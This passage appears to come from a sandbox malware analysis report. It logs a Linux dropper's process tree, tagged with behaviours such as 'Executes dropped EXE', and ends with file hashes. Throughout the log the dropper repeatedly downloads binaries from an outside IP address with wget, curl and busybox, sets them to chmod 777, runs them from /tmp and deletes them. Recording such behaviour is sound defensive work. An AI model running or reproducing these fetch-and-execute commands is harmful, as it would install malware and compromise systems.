/bin/chmodchmod 777 32WaeS7m7kFm1sxDXdKrW3UlPDmC2Kk2eS2⤵
- File and Directory Permissions Modification
PID:1644
-
-
/tmp/32WaeS7m7kFm1sxDXdKrW3UlPDmC2Kk2eS./32WaeS7m7kFm1sxDXdKrW3UlPDmC2Kk2eS2⤵
- Executes dropped EXE
PID:1645
-
-
/bin/rmrm 32WaeS7m7kFm1sxDXdKrW3UlPDmC2Kk2eS2⤵PID:1646
-
-
/usr/bin/wgetwget http://87.120.84.230/bins/wxBHZtvGBWHnJ8M1W941EsKM8ErEGeZ9MM2⤵PID:1647
-
-
/usr/bin/curlcurl -O http://87.120.84.230/bins/wxBHZtvGBWHnJ8M1W941EsKM8ErEGeZ9MM2⤵
- Writes file to tmp directory
PID:1648
-
-
/bin/busybox/bin/busybox wget http://87.120.84.230/bins/wxBHZtvGBWHnJ8M1W941EsKM8ErEGeZ9MM2⤵PID:1649
-
-
/bin/chmodchmod 777 wxBHZtvGBWHnJ8M1W941EsKM8ErEGeZ9MM2⤵
- File and Directory Permissions Modification
PID:1650
-
-
/tmp/wxBHZtvGBWHnJ8M1W941EsKM8ErEGeZ9MM./wxBHZtvGBWHnJ8M1W941EsKM8ErEGeZ9MM2⤵
- Executes dropped EXE
PID:1651
-
-
/bin/rmrm wxBHZtvGBWHnJ8M1W941EsKM8ErEGeZ9MM2⤵PID:1652
-
-
/usr/bin/wgetwget http://87.120.84.230/bins/UaCVONIwD2kPO0UftouJpzEC9IaOhtKJzo2⤵PID:1653
-
-
/usr/bin/curlcurl -O http://87.120.84.230/bins/UaCVONIwD2kPO0UftouJpzEC9IaOhtKJzo2⤵
- Writes file to tmp directory
PID:1654
-
-
/bin/busybox/bin/busybox wget http://87.120.84.230/bins/UaCVONIwD2kPO0UftouJpzEC9IaOhtKJzo2⤵PID:1655
-
-
/bin/chmodchmod 777 UaCVONIwD2kPO0UftouJpzEC9IaOhtKJzo2⤵
- File and Directory Permissions Modification
PID:1656
-
-
/tmp/UaCVONIwD2kPO0UftouJpzEC9IaOhtKJzo./UaCVONIwD2kPO0UftouJpzEC9IaOhtKJzo2⤵
- Executes dropped EXE
PID:1657
-
-
/bin/rmrm UaCVONIwD2kPO0UftouJpzEC9IaOhtKJzo2⤵PID:1658
-
-
/usr/bin/wgetwget http://87.120.84.230/bins/IY3PdRqAOppVwtyy3BWfmEFBw6kZvcZmb72⤵PID:1659
-
-
/usr/bin/curlcurl -O http://87.120.84.230/bins/IY3PdRqAOppVwtyy3BWfmEFBw6kZvcZmb72⤵
- Writes file to tmp directory
PID:1660
-
-
/bin/busybox/bin/busybox wget http://87.120.84.230/bins/IY3PdRqAOppVwtyy3BWfmEFBw6kZvcZmb72⤵PID:1661
-
-
/bin/chmodchmod 777 IY3PdRqAOppVwtyy3BWfmEFBw6kZvcZmb72⤵
- File and Directory Permissions Modification
PID:1662
-
-
/tmp/IY3PdRqAOppVwtyy3BWfmEFBw6kZvcZmb7./IY3PdRqAOppVwtyy3BWfmEFBw6kZvcZmb72⤵
- Executes dropped EXE
PID:1663
-
-
/bin/rmrm IY3PdRqAOppVwtyy3BWfmEFBw6kZvcZmb72⤵PID:1664
-
-
/usr/bin/wgetwget http://87.120.84.230/bins/WoFV0gAChqq3Oog1MBm5bddrN7HgDvxhEs2⤵PID:1665
-
-
/usr/bin/curlcurl -O http://87.120.84.230/bins/WoFV0gAChqq3Oog1MBm5bddrN7HgDvxhEs2⤵
- Writes file to tmp directory
PID:1666
-
-
/bin/busybox/bin/busybox wget http://87.120.84.230/bins/WoFV0gAChqq3Oog1MBm5bddrN7HgDvxhEs2⤵PID:1667
-
-
/bin/chmodchmod 777 WoFV0gAChqq3Oog1MBm5bddrN7HgDvxhEs2⤵
- File and Directory Permissions Modification
PID:1668
-
-
/tmp/WoFV0gAChqq3Oog1MBm5bddrN7HgDvxhEs./WoFV0gAChqq3Oog1MBm5bddrN7HgDvxhEs2⤵
- Executes dropped EXE
PID:1669
-
-
/bin/rmrm WoFV0gAChqq3Oog1MBm5bddrN7HgDvxhEs2⤵PID:1670
-
-
/usr/bin/wgetwget http://87.120.84.230/bins/X7gHCn7tdqT21Vh65w2Y0Vt6XcLdItGame2⤵PID:1671
-
-
/usr/bin/curlcurl -O http://87.120.84.230/bins/X7gHCn7tdqT21Vh65w2Y0Vt6XcLdItGame2⤵
- Writes file to tmp directory
PID:1672
-
-
/bin/busybox/bin/busybox wget http://87.120.84.230/bins/X7gHCn7tdqT21Vh65w2Y0Vt6XcLdItGame2⤵PID:1673
-
-
/bin/chmodchmod 777 X7gHCn7tdqT21Vh65w2Y0Vt6XcLdItGame2⤵
- File and Directory Permissions Modification
PID:1674
-
-
/tmp/X7gHCn7tdqT21Vh65w2Y0Vt6XcLdItGame./X7gHCn7tdqT21Vh65w2Y0Vt6XcLdItGame2⤵
- Executes dropped EXE
PID:1675
-
-
/bin/rmrm X7gHCn7tdqT21Vh65w2Y0Vt6XcLdItGame2⤵PID:1676
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
153B
MD5998368d7c95ea4293237f2320546e440
SHA130dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA256533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
SHA512648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97